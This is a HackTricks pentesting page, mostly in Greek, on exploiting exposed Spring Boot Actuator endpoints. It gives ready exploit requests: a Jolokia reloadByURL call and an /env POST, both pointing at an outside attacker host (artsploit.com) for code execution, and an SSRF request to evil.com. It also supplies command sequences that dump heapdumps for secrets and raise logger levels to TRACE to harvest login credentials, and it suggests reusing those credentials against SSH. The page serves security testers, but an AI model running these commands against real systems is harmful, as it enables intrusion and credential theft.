Spring Actuators

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Spring Auth Bypass

Από https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Εκμετάλλευση Spring Boot Actuators

Δείτε την αρχική δημοσίευση στο [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Βασικά σημεία:

  • Τα Spring Boot Actuators καταχωρούν endpoints όπως /health, /trace, /beans, /env κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς authentication. Από την έκδοση 1.5 και μετά, μόνο τα /health και /info είναι μη ευαίσθητα από προεπιλογή, αλλά οι developers συχνά απενεργοποιούν αυτή τη ρύθμιση ασφαλείας.
  • Ορισμένα Actuator endpoints μπορούν να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, και /heapdump.
  • Στο Spring Boot 1.x, τα actuators καταχωρούνται κάτω από το root URL, ενώ στο 2.x βρίσκονται κάτω από την βάση /actuator/.

Τεχνικές εκμετάλλευσης:

  1. Remote Code Execution via '/jolokia':
  • Το /jolokia actuator endpoint εκθέτει τη Jolokia Library, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
  • Η ενέργεια reloadByURL μπορεί να εκμεταλλευτεί για να ξαναφορτώσει ρυθμίσεις logging από έναν εξωτερικό URL, κάτι που μπορεί να οδηγήσει σε blind XXE ή Remote Code Execution μέσω crafted XML configurations.
  • Παράδειγμα exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • Εάν υπάρχουν Spring Cloud Libraries, το endpoint /env επιτρέπει τροποποίηση των environmental properties.
  • Οι ιδιότητες μπορούν να τροποποιηθούν για να εκμεταλλευτούν ευπάθειες, όπως η XStream deserialization vulnerability στο Eureka serviceURL.
  • Παράδειγμα exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • Ιδιότητες όπως spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, και spring.datasource.tomcat.max-active μπορούν να τροποποιηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή αλλαγή των connection strings της βάσης δεδομένων.

Πρόσθετες πληροφορίες:

  • Μια αναλυτική λίστα με default actuators είναι διαθέσιμη here.
  • Το endpoint /env στο Spring Boot 2.x χρησιμοποιεί JSON format για τη μεταβολή ιδιοτήτων, αλλά η γενική ιδέα παραμένει ίδια.

Σχετικά θέματα:

  1. Env + H2 RCE:
  • Λεπτομέρειες για την εκμετάλλευση του συνδυασμού του /env endpoint και της H2 βάσης δεδομένων είναι διαθέσιμες here.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Η διαχείριση από το Spring framework των matrix parameters (;) σε HTTP pathnames μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
  • Παράδειγμα exploit request:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

Αν /actuator/heapdump είναι εκτεθειμένο, συνήθως μπορείτε να ανακτήσετε ένα πλήρες στιγμιότυπο heap του JVM που συχνά περιέχει ενεργά μυστικά (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, κ.λπ.).

  • Download and quick triage:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Deeper analysis with VisualVM and OQL:
  • Open heapdump in VisualVM, inspect instances of java.lang.String or run OQL to hunt secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Automated extraction with JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Typical high-value findings:

  • Spring DataSourceProperties / HikariDataSource objects exposing url, username, password.
  • OriginTrackedMapPropertySource entries revealing management.endpoints.web.exposure.include, service ports, and embedded Basic-Auth in URLs (e.g., Eureka defaultZone).
  • Plain HTTP request/response fragments including Authorization: Basic ... captured in memory.

Tips:

  • Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if /actuator/logfile, /actuator/httpexchanges, /actuator/env, and /actuator/configprops are also exposed.
  • Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.

Abusing Actuator loggers/logging to capture credentials

If management.endpoints.web.exposure.include allows it and /actuator/loggers is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via /actuator/logfile or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

  • Enumerate and crank up sensitive loggers:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Find where logs are written and harvest:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.

Notes:

  • Reset log levels when done: POST /actuator/loggers/<logger> with { "configuredLevel": null }.
  • If /actuator/httpexchanges is exposed, it can also surface recent request metadata that may include sensitive headers.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks